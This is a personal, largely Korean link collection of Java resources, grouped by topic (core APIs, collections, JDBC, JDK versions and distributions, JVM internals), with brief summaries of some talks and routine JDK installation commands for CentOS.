Java

API

JAVA 자료구조의 활용 (Collection Framework)
Util클래스 어디까지 써봤니? 일 편하게 하는 유틸성 클래스
github.com/StiKuan/StiKuan-Review
The Good, the Bad and the Ugly of Java API design. Miro Cupak, Dnastack
Miro Cupak - The Good, the Bad and the Ugly of Java API design
Let's make a contract: the art of designing a Java API by Mario Fusco - YouTube
왜 자바에서 final 멤버 변수는 관례적으로 static을 붙일까?
왜 main()는 public static void인가?
Implementing in-memory compression for objects in Java
The Error Handling Done Right - The Startup - Medium
일관적인 에러응답을 달라! Error
이펙티브 자바 3판 - 열거 타입과 애너테이션 Enum, EnumSet, EnumMap, Annotation
On the missing package private — or why Java is better than Kotlin in this regard | by Michał Stawski | VirtusLab | Medium
java 박싱 언박싱과 오버헤드에 대한 이야기 boxing, unboxing, primitive
A faster alternative to Java Reflection
Annotation과 Reflection을 이용한 챗봇 컨트롤러 만들기
1. JAVA Reflection과 Annotaion으로 필드 및 메소드에 값 주입하기
Java Reflection API: The Magical World of Java | CodersTea
Core Java Reflection Vs Spring Reflection - YouTube
자바의 리플렉션이란
굿 바이 자바 애플릿, Deprecate, for Removal
Faster Charset Decoding | Claes Redestad’s blog
The Escape of ArrayList.iterator()
07: Java Iterable Vs Iterator differences and know how | Java-Success.com
java visual vm 으로 메모리 사용량을 간단하게 파악해 봅시다
java switch 문 : string에 대해서 어떻게 쓰는지 예제로 알아봅시다
What are Operators in Java - YouTube
Java UnaryOperator란?
'살아 움직이는 언어' 자바에 추가된 6가지 새로운 기능 - ITWorld Korea
Unusual Java: StackTrace Extends Throwable
Java Integer Cache | Interview Question | Programming Tutorials - YouTube
7 java tricky parts may probably face you as java developer | by Nour Krichene | Jan, 2022 | Medium
java number 클래스에 대해 간단하게 알아봅시다.
Top 10 Easy Performance Optimizations in Java | by Jassica Den | Medium
The One Java Optimization That Made My Code 10x Faster — Without Changing Frameworks | by The Quantum Yogi | Jun, 2025 | Medium
10 Java Idioms Every Developer Should Know | by javinpaul | May, 2023 | Level Up Coding
Principles of Fluent API Design by David Beaumont - YouTube
- VidiGo Principles of Fluent API Design by David Beaumont
- 유창한 API 설계의 원칙(David Beaumont 저) | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
  - Fluent API
    - method chaining을 넘어서는 개념
    - 도메인 특정 작업을 이해 가능하고 유지보수 가능하게 함
    - 플루언트 API 이외에도 캐스케이딩을 고려할 때 만들 수 있는 다른 디자인 선택 사항 존재
    - 유형 일관성, 동질적 API는 같은 유형 반환, 이질적 API는 다양한 유형 반환, 둘 다 좋은 방향
    - 동질적 API는 선택적 매개변수에 좋고, 순서를 바꿀 수 있는 메소드 호출에 적합. 이질적 API는 사용자를 다양한 단계로 안내, 재사용 가능하게 함
  - API는 재사용을 위해 분리되고 활용되어야 함
    - 플루언트 API는 한 문장으로 표현되어야 하며, 일회성 API를 만드는 것이 더욱 좋음
      - 불변성이 중요한데, 방식에 따라 새로운 객체를 만들거나 동일한 객체를 변형해야 할 수 있음
    - 각각의 체계적인 불변 API는 여러 측면에서 자연스럽게 스레드 안전성을 제공할 수 있지만, 반복적인 단기 할당을 유발할 수도 있음
    - 문제가 될 수 있는 반복적인 할당을 최소화하기 위해 부분 결과를 정적 변수로 이동시키는 기술 중 하나가 있음
  - 플루언트 API를 통해 사용자가 한 줄로 쉽게 데이터를 원하는 형태로 받을 수 있도록 설계한다면 사용자들의 편의를 위해 다양한 접근 방법을 고려 필요
    - 플루언트 API가 사용자의 모든 요구를 충족하지 못한다면, 사용자들은 좀 지루한 프레임워크에 갇혀 있는 기분을 경험하며, 답답함을 느낄 수 있음
    - 따라서 사용자들이 유연하게 대안 API를 고려할 수 있도록 선택권을 주는 것이 좋음
    - 플루언트 API를 설계할 때 메소드 명명과 매개변수 범위에 심사숙고 필요, 메소드 순서 역시 중요, 필수 매개변수는 꼭 필수 메소드 안에 포함시켜야 함
    - 문제 도메인이 사용하는 대로 설계 필요, 비 플루언트하고 비 도메인 특정 문제에 대해 플루언트 API를 만들기보다 그에 맞는 도구를 사용하는 게 더 좋음
annotation
- Annotation Processor 101 — Your First Custom Annotation
- Annotation Processing : Don’t Repeat Yourself, Generate Your Code
- Annotations In Java | Making Java easy to learn
- Java - YouTube
Arrays
- java의 arrays.sort 메서드는 어떤 정렬을 사용할까요?
- 3. JAVA - Arrays.asList()와 List.of()의 차이
- java 두 배열 비교할 때 어떻게 하면 좋을까요?
autovalue
Base64
- Java Base64: How to Encode and Decode Base64 in Java | CodersTea
class
- 4대 중첩 클래스(내부 클래스)
- Fully Immutable Class in java
- Anonymous Inner Classes in Java
- java inner class
- Class Loaders in Java | Class loader
Collections
- Map
- Set
  - java hashset은 key의 해쉬 코드가 모두 같을 때 최악 복잡도가 어떻게 될까요?
  - java hashset : 어떻게 구현이 되어 있을까요?
- Collections.compare(JDK, Eclipse, Guava, Apache...); by Lima, Nanivadekar and Raab
- Java Collection interview questions answered on differences between X & Y
- 일급 컬렉션 (First Class Collection)의 소개와 써야할 이유
- Game of Life, hash tables and hash codes
- java의 hashtable 대신에 왜 다른 것을 권장할까요
- 해시 테이블 (Hash Table) 배우기. Java 의 컬렉션 클래스 (Collection Class) 중에… | by Bryant Jimin Son | Aug, 2020 | Medium
- A tale of Java Hash Tables | andreinc
- 자바 arrayList addAll 메서드 : 어디서 오버헤드가 걸리는지 간단하게 분석해 봅시다
- java computeifpresent 메소드 : 이미 있는 키의 대응 값에 새 값을 적용한다
- java ArrayDeque : 원형큐에 expand를 얹었다
- java collections ncopies : 리스트를 초기화 할 때 이용할 만 하다
- Enhancement of Java Collection Classes | Making Java easy to learn
Comparable, Comparator
- Java 배열 및 ArrayList를 Comparable과 Comparator를 이용해 정렬하기
- java compareTo 메소드 : 순서가 중요한 곳에서 잘 쓰인다
- 자바 comparator comparing을 이용해서 다중 조건 정렬을 쉽게 해 봅시다.
datetime
- How to get previous day using datetime
- Java, Android에서 날짜 표현할 때 Calendar, Date 그리고 SimpleDateFormat
- 양력에서 음력 변환 - ChineseCalendar 클래스가 맞지 않는 이유, 한국과 중국의 음력 차이
- DateTimeFormatter에서 년도표시에 yyyy대신 uuuu를 사용해야하는 이유?
- datetime 비교를 어떻게 할 수 있는지 예제 문제로 알아봅시다
- Convert Milliseconds to & from LocalDateTime in Java8 & Above | CodersTea
- How to format/parse dates with LocalDateTime in Java 8 - Example Tutorial
- 입 개발 java.time.LocalDateTime 에서 해당 날짜의 최소값과, 최대값 구하기 | Charsyam's Blog
- 타임존, 날짜 그리고 시간객체 뽀개기. 항상 헷갈리는 타임존과 관련된 용어를 정리고, 데이터베이스에 어떻게… | by chrisjune | 29CM 기술블로그 | Aug, 2022 | Medium ZoneId, ZoneOffset, DateTime, Time
- 1899-12-31T23:27:52.000+08:27:52의 정체 : NHN Cloud Meetup
Enum
- Java Enum 활용기 | 우아한형제들 기술블로그
- Enum값의 사용
- Java enum
- Micro optimizations in Java. Good, nice and slow Enum | by Dmytro Dumanskiy | Javarevisited | Aug, 2020 | Medium
- Java enum의 사용 - 기계인간 John Grib
Exception
- Java의 Exception(예외) 처리
- Null is your friend, not a mistake | by Roman Elizarov | Medium
- Why NULL is Bad?
- Preventing null pointer exceptions at compile time by Michael Ernst and Werner Dietl
- 다 쓴 객체 참조에 항상 null 값을 할당해야 하나요?
- Interesting Facts About 'null' In Java | Things to know as Java Developer - YouTube
- Clean Code: Avoid Returning Null. To enhance code robustness and reduce… | by Bubu Tripathy | Feb, 2024 | Medium
  - Medium 클린 코드: Null 반환을 피하는 법 — 덕토피아
- java 예외 vs 에러 : 왜 이 둘을 구분 지을까요?
- 토이 프로젝트를 하면서 느꼈던 광범위한 예외의 위험성
- How to Resolve Concurrent Modification Exception In Java - YouTube
- artima - Failure and Exceptions exception에 대한 james gosling의 생각이 드러나는 인터뷰
File
- Processing large files efficiently in Java
  - part 1
  - part 2
- 3 Ways to Read File line by line in Java 8? Examples
Generics
- Java Generics FAQs - Frequently Asked Questions
- 제네릭의 비애
- usage of the <?> parameter in method declaration in Generics
- 토비의 봄 TV 4회 (1) 자바 Generics
- 토비의 봄 TV 4회 (2) Generics에서 와일드카드 활용법, 람다와 인터섹션 타입을 이용한 동적인 기능확장법
- Java의 Generics covariant/contravariant, 공변/반공변
- Java 제네릭 Generics DEEP DIVE
- Java Generics in no time "? extends" & "? super" explained with a diagram | Java-Success.com
javadoc Javadoc 작성하기 - 기계인간 John Grib
java.util
- Properties
  - java.util.Properties
  - How to read values from properties file in java example
- Timer The Java Timer | Concurrency Deep Dives
JDBC
- 자바가 디비와 사귀기까지 벌어지는 일들
- JDBC로 실행되는 SQL에 자동으로 프로젝트 정보 주석 남기기 | 우아한형제들 기술블로그
- PoolCleaner 를 활용한 Connection Pool 최적화
- Driver does not support get/set network timeout for connections
- sql injection과 jdbc PreparedStatement
- How to Achieve Greatness in JDBC Performance | CodersTea
- How to use PreparedStatement in Java - JDBC Example Tutorial | Java67
- JDBC url의 serverTimezone 속성에 대해 알아보기
- 10분 테코톡 코코닥의 JDBC - YouTube
- Spring JDBC 성능 문제, 네트워크 분석으로 파악하기
- JDBC setReadOnly 호출 이슈 해결기
  - AWS Advanced JDBC Wrapper 드라이버를 사용하면서 간혈적으로 터지는 오류를 하나하나 추적해나가는 과정을 기술 블로그로 정리
  - JVM 경력이 거의 없는 Node.js 개발자들끼리 IntelliJ IDEA와 네이버 핀포인트 모니터링 도구를 통해 차근차근 드라이버 문제에 접근하고 해결 진행
- HikariCP - 光 HikariCP・A solid, high-performance, JDBC connection pool at last
Math
- Math 클래스의 반올림, 올림, 버림 등 자주 사용하는 메소드 정리
- java BigDecimal을 이용해서 실수를 다뤄 봅시다
- BigDecimal A to Z: 정확한 계산을 위한 숫자 처리 클래스
net
- Java Socket Client (TCP/IP) 소켓 프로그래밍
- Java Socket Client (TCP/IP) 소켓 프로그래밍
- Java sockets I/O: blocking, non-blocking and asynchronous | LinkedIn
- Java UDP Client Server Program - UDP 프로그래밍
- Fundamentals of UDP Socket Programming in Java
- Java 의 SSLHandshakeException 문제 해결
- URLConnection & HttpURLConnection
- 7 Examples of HttpURLConnection in Java - Sending GET and POST Request Tutorial | Java67
- getHostAddress 사용자의 IP를 가져오기 (IPv4)
- ServerSocket localhost는 IPv6와 IPv4 어떤걸로 동작할까? :: 시행착오를 줄이는 방법
NIO
- NIO 정리 예제와 함께 전반적으로 잘 정리
- 탈 자바 8과 스프링 부트 3.0을 위한 NIO HttpClient를 찾아서 - 넷마블 기술 블로그
Object
- Why java.lang.Object is not abstract?
- Why is the finalize() method in java.lang.Object “protected”?
- java deepequals 메서드 정말 깊게 비교한다
- java.lang.Object.toString 메소드 - 기계인간 John Grib
- equals
- hashCode
Optional
- Optional 클래스 사용하기
- Java Optional 바르게 쓰기 - 뒤태지존의 끄적거림
- Mohamed Taman - Do you use Optional class as it should be? - YouTube
- Using Optional in Java the right way - DEV Community
Random
- Java에서 랜덤 함수를 이용해 난수 얻기
Serializable
- serialVersionUID가 없는 Serializable Class를 수정해야 할 때
sun.misc.Unsafe
- Unsafe Part 1: sun.misc.Unsafe Helper Classes
- Unsafe Part 2: Using sun.misc.Unsafe to create a contiguous array of objects
- Unsafe Part 3: Benchmarking a java UnsafeArrayList
- The infamous sun.misc.Unsafe explained
- Understanding sun.misc.Unsafe
- Java Magic. Part 4: sun.misc.Unsafe
static
- Static Keyword 와 Method Area (메소드 영역)
- 6. JAVA - static이란?
String
- 20 Things You Should Know About Strings In Java
- How SubString Works Internally in Java
- Is a string an array of chars in java?
- How much memory does a string use in Java 8?
- Guide to Java String Pool
- How to save memory occupied by Java strings
- JVM Anatomy Quark #10: String.intern()
- JEP 192: String Deduplication in G1
- Why does storing a long string cause an OOM error but a breaking it into a list of short strings does not?
- java의 String은 이모지를 어떻게 저장할까요
- String, StringBuilder, and StringBuffer Do You Know the Difference?
- java replaceAll 메서드 : 그냥 쓰면 어떤 오버헤드가 걸릴까요?
- java string replace vs replaceAll 을 간단하게 비교해 봅시다.
- replaceAll 대신 replace 사용하기
- java toLowerCase toUpperCase 를 수행하면 길이가 항상 같을까요?
- 사소한 시리즈 - 문자열 분리 코드 중복 제거 :: 자바캔(Java Can Do IT)
- 사소한 시리즈 - 문자열이 여러 값 중 하나와 같은지 다른지 비교하는 코드 정리 :: 자바캔(Java Can Do IT)
- 자바에서 String 다룰 때 오해와 진실 - DEV Community
- java string trim 메서드에 대해 제대로 알아봅시다
- java string repeat 메서드로 쉽게 문자열을 반복해 봅시다.
- Right way to check if String is empty in Java with Example | Java67
- Why String is Immutable or Final in Java? Explained
- How to remove duplicate characters from String in Java? Solved | Java67
- How to Remove all adjacent duplicates characters from String in java? Example Tutorial | Java67
- java stringjoiner 사용법과 내부 동작을 알아봅시다. - Codingdog Blog
System
- currentTimeMillis vs. nanoTime
  - Measure Elapsed Time in Java
    - Java8 Instant class, Apache Commons StopWatch
  - Comparison of System.currentTimeMillis() vs System.nanoTime()
  - Newsflash: Can You Rely on System.nanoTime()?
  - Nanotrusting the Nanotime
text
- DecimalFormatSymbols
  - 알아두면 쓸데있는 신비한 Locale의 세계
time
- Converting from Joda-Time to java.time
- Java8TimeTest.java
Try
- Do or Do Not: Patterns and Antipatterns with the Try type
- try-with-resources에 의해 닫히지 않는 AutoCloseable 인스턴스
util
- ComparableTimSort.countRunAndMakeAscending java countrunandmakeascending 메소드 : 키가 거꾸로 들어온 듯한 이유
- List
- regex regular expression
  - ip address
    - Matching Numeric Ranges with a Regular Expression
    - How to validate IP address with regular expression
- zip 2 Examples to read Zip Files in Java, ZipFile vs ZipInputStream - Tutorial

Asynchronous

Book

Concurrency Parallel Thread

Concurrency Parallel Thread Akka

Concurrency Parallel Thread Executor

Conference

Eclipse

Functional Java

IntelliJ

IntelliJ Plugin

Java8

How to Install JAVA 8 (JDK 8u45) on CentOS/RHEL 7/6/5 and Fedora

# alternatives --install /usr/bin/java java /usr/java/jdk1.8.0_nm-cloudera/bin/java N
# echo "N" | alternatives --config java
# alternatives --install /usr/bin/jar jar /usr/java/jdk1.8.0_nm-cloudera/bin/jar N
# alternatives --install /usr/bin/javac javac /usr/java/jdk1.8.0_nm-cloudera/bin/javac N
# alternatives --set jar /usr/java/jdk1.8.0_nm-cloudera/bin/jar
# alternatives --set javac /usr/java/jdk1.8.0_nm-cloudera/bin/javac

/lib/ld-linux.so.2: bad ELF interpreter: No such file or directory yum install ld-linux.so.2
centos에서 java version관리 (alternatives 사용)
java version 변경(update-alternatives)

Hotfix To Install Latest Oracle JDK On Linux EC2 Instance (CentOS)
자바 8 살펴보기
Modern Java - A Guide to Java 8
나는 프로그래머다 웨비너 - 자바8 깊숙히!
모던 자바 (자바8) 못다한 이야기 예제 보관용
- 모던자바의 역습
- 모던 자바 (자바 8) - 못다한 이야기
New Features in Java SE 8: A Developer's Guide
Functional Programming with Java 8
String concatenation with Java 8
JDK8 오라클 튜토리얼 번역
Java SE 8 best practices
메소드를 파라미터로 전달하기
Java 8 - Future vs CompletableFuture
Java 8 – Convert List to Map with Collectors.toMap() ..!
자바 SE 8에 대한 질의응답(파트 1)
How to make parallel calls in Java with CompletableFuture example
CompletableFuture 비동기 처리로 성능 개선하기
MSA에서 동시에 여러 API 호출로 응답 시간 줄이기 CompletableFuture
Combining multiple API calls with CompletableFuture | by The Bored Dev | The Startup | Jun, 2020 | Medium
CompletableFuture in Java with Example - Tutorial | Java67
뒤늦게 배워보자, Java 8 Part. 1
뒤늦게 배워보자, Java 8 Part. 2
뒤늦게 배워보자, Java 8 Part. 3
뒤늦게 배워보자, Java 8 Part. 4
뒤늦게 배워보자, Java 8 Part. 5
뒤늦게 배워보자, Java 8 Part. 6
뒤늦게 배워보자, Java 8 Part. 7
뒤늦게 배워보자, Java 8 Part. 8
Vavr’s flatMap in action
Let’s replace common list and map usage patterns with Vavr
Java에서의 패턴 일치 – 바쁜 개발자를 위한 5가지 예시 | The IntelliJ IDEA Blog
The Art of Java Language Pattern Matching by Simon Ritter - YouTube
Java 8 Method reference - Java2Blog
You can't afford to run Java 8
Java 8 - Map and Reduce Example Tutorial | Java67
Java 8 Features - Making Java easy to learn
Java 8 LTS to the Latest - a Performance & Responsiveness Perspective

Java8 Library

Java8 Stream

Java9

Java10

Java11

installation on centos 7

❯ scp ~/Downloads/openjdk-11+28_linux-x64_bin.tar.gz <server>:/tmp

[root@<server> tmp]# tar xfvz openjdk-11+28_linux-x64_bin.tar.gz
[root@<server> tmp]# cd /usr/lib/jvm
[root@<server> jvm]# mv /tmp/jdk-11/ .
[root@<server> jvm]# alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11/bin/java 100
[root@<server> jvm]# alternatives --config java

OpenJDK 11, tools of the trade jps, jinfo, jmap, jstack, jconsole
A Year with Java 11 in Production!
Java 8에서 Java 11로 전환 - Azure | Microsoft Docs jdeprscan jdeps
The Things I Love and Use from Java 11 - CodersTea
LinkedIn’s journey to Java 11 | LinkedIn Engineering

Java12

Teeing Collector in Java 12
Java Futures, 2019 Edition Java12에 국한된 이야기는 아니며 type inference, switch pattern matching, project Valhalla, Panama, Loom 등 다양한 새로운 기능에 대한 이야기

Java13

Java14

Java15

Java16

Java17

Java18

Java19

Java20

Sailing Modern Java by Piotr Przybyl - YouTube
JDK 20 G1/Parallel/Serial GC changes
- JDK 20에서 Garbage Collector 관련해서 정리한 글
- Parallel GC는 Full GC 중 객체 처리의 병렬화로 GC로 인한 중단 시간이 20% 감소했고 Serial GC는 눈에 띄는 변경 사항은 없음
- G1 GC에는 다음의 변경 사항 포함
  - G1 네이티브 메모리 풋프린트를 Java 힙의 1.5까지 줄일 수 있게 됨
  - G1 정제 스레드 관리가 개선되어 애플리케이션이 CPU 사이클을 덜 사용
  - G1은 GC 일시 정지 중 오버헤드를 줄이기 위한 로컬 할당 버퍼(PLAB)를 사용하는데 이 공간이 낭비되거나 부족한 현상을 줄이기 위해 PLAB의 크기를 조정하는 기능 추가
  - Young generation의 크기 결정에 대한 예측 개선으로 GC 횟수 감소
  - 예방적 GC를 기본적으로 비활성화
개발자가 알아야 할 데이터 지향 프로그래밍 with JDK 20 | 요즘IT

Java21

JEP 444: Virtual Threads Arrive in JDK 21, Ushering a New Era of Concurrency
- 프로젝트 룸의 버추얼 스레드를 사용해서 코루틴 디스패처를 구현한 예제
- 100만개 코루틴을 만들고 개당 1초씩 스레드 슬립을 줬을때 수행시간
  - Dispatchers.IO(스레드 64개) : 4시간 20분
  - Dispatchers.IO(스레드 5000개) : 3분 20초
  - Dispatchers.LOOM(버츄얼 스레드 100만개) : 1초
- jdk19 이전 버전에선 최대치가 2번까지인데 스레드를 5000개나 만들면 하드웨어 자원을 엄청나게 먹기 때문에 사실상 불가능한 방식
- 메모리를 거의 안먹는 공짜 수준의 버츄얼 스레드 + 코루틴이 병렬처리에 매우 강함
The Basis of Virtual Threads: Continuations | Foojay.io Today
Java의 미래, Virtual Thread | 우아한형제들 기술블로그
- Virtual Thread(Project Loom)이 JDK 19부터 얼리 엑세스로 포함되고 JDK21에서 정식 기능이 되면서 스터디한 결과 공유
- 스레드를 사용할 때 더 많은 요청을 처리하면서 컨텍스트 스위칭 비용을 줄이기 위해 훨씬 가벼운 Virtual Thread의 구조와 동작 원리를 보여주고 Thread, Kotlin Coroutine, Reative와 비교해서 성능이 얼마나 차이 나는지도 보여줌
- 우아한테크세미나 2024-04 Java의 미래, Virtual Thread.pdf
JDK 21의 신기능 Virtual Thread 알아보기 / 제4회 Kakao Tech Meet – tech.kakao.com
Virtual Thread의 기본 개념 이해하기
4월 우아한테크세미나 ‘Java의 미래, Virtual Thread’ - YouTube
- VidiGo 4월 우아한테크세미나 ‘Java의 미래, Virtual Thread’.mp4
- 4월 우아한테크세미나 ‘Java의 미래, Virtual Thread’ | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
Java 21 Virtual Threads - Dude, Where’s My Lock? | by Netflix Technology Blog | Jul, 2024 | Netflix TechBlog
- Netflix engineers encountered a problem with Java 21 virtual threads causing intermittent timeouts and hung instances
- The issue was traced to a state where Tomcat kept creating new web worker virtual threads for each incoming request, but there were no available OS threads to mount them onto
- The problem was caused by virtual threads being pinned while waiting to acquire a reentrant lock
- The lock was held by a thread in a weird in-between state that should be transient, but the JVM was stuck there
- The solution was to come up with a reproducible test case and look forward to Java 23 and beyond
  - which brings a wealth of upgrades and hopefully addresses the integration between virtual threads and locking primitives
자바21 주요 특징1 - SequencedCollection - YouTube
자바21 주요 특징2 - record 패턴, switch 패턴 매칭 - YouTube
자바21 주요 특징3 - 가상 쓰레드 - YouTube
Java 21 / JDK 21: General Availability | GeekNews
Hello, Java 21
A categorized list of all Java and JVM features since JDK 8 to 21 - Advanced Web Machinery
Java 21: The Nice, The Meh, and the ... Momentous
A. Sundararajan on X: "Script to search #Java21 javadoc from command line. * Unnamed Classes and Instance Main Methods https://t.co/gMiMqzhyYL * source launcher shebang script support https://t.co/1Ka5Gqy7yv We can call such scripts "Java script"s 😉 #Java https://t.co/TUVgFJku2M" / X
Building and Deploying Java Client Desktop Applications With JDK 21 and Beyond By Kevin Rushforth - YouTube
The Panama Dojo: Black Belt Programming with Java 21 and the FFM API By Per Minborg - YouTube
The Art of Pattern Matching in Java 21 by Alberto Cortina Eduarte - YouTube
Java 21 and Beyond: A Roadmap of Innovations by Ana-Maria Mihalceanu - YouTube
From Java 17 to 21: A Showcase of JDK Security Enhancements by Ana Maria Mihalceanu - YouTube
VDBUH2024 - Laurențiu Spilcă - Maximizing Security with JDK: Understanding Built-in Capabilities - YouTube
- VidiGo VDBUH2024 - Laurențiu Spilcă - Maximizing Securi
- VDBUH2024 - 라우렌치우 스필카 - JDK로 보안 극대화: 기본 제공 기능 이해하기 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
Modern Java in Action • Nicolai Parlog • GOTO 2024 - YouTube
- Java 21이 제공하는 모든 기능을 사용하여 GitHub 크롤러를 작성하는 방법 탐구
  - 가상 스레드와 구조화된 동시성
  - 패턴 매칭 및 데이터 중심 프로그래밍
  - 형 추론, 레코드 및 밀봉된 유형
  - 텍스트 블록 및 템플릿 문자열
  - 현대적인 HTTP 클라이언트 및 개선된 컬렉션
  - 모듈 및 OS별 바이너리
- 현대 자바의 작동 방식 - 니콜라이 파로그 - GOTO 2024 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI

Java22

Java 22 / JDK 22 출시(GA) | GeekNews

Java25

Java 25 / JDK 25 정식 출시 | GeekNews

JDK

Java is Still Free 2.0.0
여러 개의 JDK를 설치하고 선택해서 사용하기 APT/YUM, update-alternatives / alternatives, Homebrew, Chocolatey, direnv, jEnv, SDKMAN, jabba
JDK Mission Control 8 Released
Staying JDK: Current in Production - YouTube
Mac Java 21 & Gradle 8 설치하기 jEnv sdkman
JDKMon: A little tool written in JavaFX that monitors your installed JDK's and inform you about updates
- Introducing JDKMon: a New Tool to Detect and Update JDKs
- 윈도우 지원이 약한 SDKMan!을 대신할 JDKMon
SDKMAN! the Software Development Kit Manager
- 윈도우에 여러 자바 설치하기
- Manage Java versions with SDKMan | Opensource.com

JDK OpenJDK

OpenJDK’s java.utils.Collection.sort() is broken: The good, the bad and the worst case?
OpenJDK 적용시 고려해야 할 점
How to install OpenJDK 8 on 14.04 LTS?
The State of the Module System
The OpenJDK Revised Java Memory Model
Migrating from Oracle JDK to OpenJDK on Red Hat Enterprise Linux: What you need to know
LINE의 OpenJDK 적용기: 호환성 확인부터 주의 사항까지
MAC OS에서 JAVA 버전 관리하기
Shaping the Future of Java, Faster 다양한 JDK version에 대한 이야기, 8 to 11 migration, future works
여러 개의 JDK를 설치하고 선택해서 사용하기
Do It Yourself (OpenJDK) Garbage Collector
Oracle JDK 라이센스
Open JDK의 변화
EP.07 OpenJDK 적용하고 벌써 1년, 뭐가 달라졌을까?
java - Difference between OpenJDK and Adoptium/AdoptOpenJDK - Stack Overflow
Everything you need to know about OpenJDK’s move to Git and GitHub
Which Version of JDK Should I Use? | whichjdk.com
- 어떤 버전의 JDK를 써야 할까? | GeekNews
OpenJDK Proposes Project Galahad to Merge GraalVM Native Compilation
- OpenJDK에서 GraalVM 커뮤니티 에디션의 코드베이스 중 일부를 OpenJDK에 합치도록 코드네임 Galahad 프로젝트 제안
- GraalVM은 성공적인 프로젝트이지만 OpenJDK와는 독립된 프로젝트로 진행
  - Graal 컴파일러와 관련된 몇 가지 JEP는 OpenJDK 코드베이스에 들어왔었다
- Galahad는 JDK 20을 첫 기준으로 삼고 있고 GraalVM JIT 컴파일러에 기여해서 이를 C2에 통합하는 데 집중할 것이라고 함
Adoptium - Open source, prebuilt OpenJDK binaries
- AdoptOpenJDK
- 자바11 드디어 AdoptOpenJDK에 (2018-10-05) 시드니 개발자 아저씨 케빈의 개발자 방송 Live
- AdoptOpenJDK - HomeBrew TAP
- homebrew로 opendjk 설치하기
- 이클립스 재단, ‘테무린 자바 SE 바이너리’ 출시 - CIO Korea
Amazon Corretto - No-cost, multiplatform, production-ready distribution of OpenJDK
- Amazon Corretto, 장기 지원 멀티 플랫폼 OpenJDK 무료 배포판 사용하기
- R을 위해서 JAVA를 설치해보자
- Amazon Corretto 18 정식 버전 출시
- Amazon Corretto OpenJDK를 사용한 Java 기반 애플리케이션 컨테이너 경량화 | AWS 기술 블로그
- Heapothesys - an Open-Source GC Latency Benchmark by Amazon Corretto
AZUL ZULU JDK 문제점(심각한 버그)
jdk.java.net OpenJDK 설치 binary
JFR The JDK Flight Recorder File Format - Gunnar Morling
LIBERICA JDK OpenJDK Overview | BellSoft Java
Microsoft Build of OpenJDK
- Announcing Preview of Microsoft Build of OpenJDK | Java at Microsoft
- MS, 자체 오픈 JDK 프리뷰 릴리즈 공개 - CIO Korea
- Microsoft Deepens Its Investments in Java - Java at Microsoft
openj9 Eclipse OpenJ9
- IBM Introduces the Semeru Runtimes for OpenJ9
Panama: Interconnecting JVM and native code
TornadoVM: 🌪️ TornadoVM: A practical and efficient heterogeneous programming framework for managed languages
- TornadoVM: Java for GPUs and FPGAs - YouTube
- Level up Your Java Performance with TornadoVM
Zulu - Download Zulu:® tested, certified builds of OpenJDK

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Debugging JVM Safepoint Pauses
JVM Deep Dive
JVMLS 2015 - Compilers are Databases
JVMLS 2015 - Multi-Language Runtime
Effective Cryptography in the JVM
SIGSEGV as control flow - How the JVM optimizes your null checks
Why is my JVM process larger than max heap size?
Memory footprint of a Java process by Andrei Pangin
Why does my Java process consume more memory than Xmx?
Creating a memory leak with Java
Hunting Java Memory Leaks
도움이 될수도 있는 JVM memory leak 이야기 | 우아한형제들 기술블로그
The Trouble with Memory
Pirates of the JVM — The infographic: Are you ready for an adventure?
Java 시스템 운영 중 알아두면 쓸모 있는 지식들
우아한 테크 세미나 - 자바, 성능, 모니터링 이야기 후기
Evolving Java With ––enable–preview aka Preview Features
Beyond ByteBuffers by Brian Goetz
A Dozen Cool Things We Can Do With Popular JVM Languages by Venkat Subramaniam java뿐만 아니라 JVM에서 동작하는 언어들의 특정 feature에 대한 이야기
Really Small Java Apps jlink, jpackage
JVM Ecosystem Report 2018
How Memory Leaks Happen in a Java Application
Memory Leaks in Java | Issues Caused and How to Prevent | Example - YouTube
Docker 안에 숨어 있는 Web application JMX profiling Tip
JVM Anatomy Quarks 한 권의 책
Why does my Java process consume more memory than Xmx?
Java Heap Memory 분석 내용 정리 : 네이버 블로그
- 01. Java Garbage Collector
- 02. Java Heap Memory 분석 방법
- 03. JMX(Java Management eXtension)
- 04. JVM 상태 모니터링 jstat, jstatd
- 05. GC Logging 및 분석 도구(GCeasy)
- 06. Java 프로파일링 도구
- 07. Case Study(Memory Leak)
- 08. Case Study(메모리 설정값 변경)
JVM 메모리 해부학
JAVA 메모리 사용량 테스트, 이건 해보셨나요? - YouTube
A New Future for Java. JVM, Kotlin, and where Java is going… | by The Bored Dev | Better Programming | Aug, 2020 | Medium
JVM 내부 동작 원리 & 자바 컴파일,실행 순서 - 런타임 영역, JIT 컴파일러, 인터프리터
Off-Heap memory reconnaissance • Brice Dutheil
How to Write Unmaintainable (But Wicked Fast!) Code on the JVM by John A. De Goes - YouTube
🚀 Visualizing memory management in JVM(Java, Kotlin, Scala, Groovy, Clojure) | Technorage
Demystifying Java Virtual Machine Memory Management | foojay
JVM Ecosystem Report 2021 | Snyk
- JVM 에코시스템 보고서 2021 | GeekNews
Journey to the Centre of the JVM — Daniel Spiewak - YouTube
capsule - Package and Deploy JVM Applications
- Capsule Shield: A Docker Alternative Tailor-Made for the JVM
Micrometer provides a simple facade over the instrumentation clients for the most popular monitoring systems, allowing you to instrument your JVM-based application code without vendor lock-in. Think SLF4J, but for metrics
- Full Stack Monitoring of JVM Applications, Using Micrometer
JVM Architecture란? :: 당근케잌
JVM Architecture & Class Loaders Java | Making Java Easy To Learn
Java Memory Model(자바 메모리 모델) :: 당근케잌
자바 코드와 메서드, 스태틱 변수 등은 메모리의 어디에 위치할까? - 골든래빗
스택과 힙 메모리, 그리고 멀티 스레드 :: 시행착오를 줄이는 방법 Kotlin
10분 테코톡 🎹 김김의 JVM Specification - YouTube
Java in Containers - Part Deux
Understanding the constant pool inside a Java class file
Inside JVM debug symbols | It’s All Relative
자바 컴파일 과정 & JVM 내부 구조
Seeing through hardware counters: a journey to threefold performance increase | by Netflix Technology Blog | Nov, 2022 | Netflix TechBlog
- Neflix에서 Java 서비스 중 하나인 GS2를 m5.4xl(vCPU 16개)에서 m5.12xl(vCPU 48개)로 올려서 성능이 3배 증가할 것으로 기대
  - 처리량은 25%만 증가했고 지연시간을 오히려 증가하는 문제 발견
  - 매트릭을 살펴보다가 CPU와 대기시간이 낮은 노드가 있다는 것을 발견
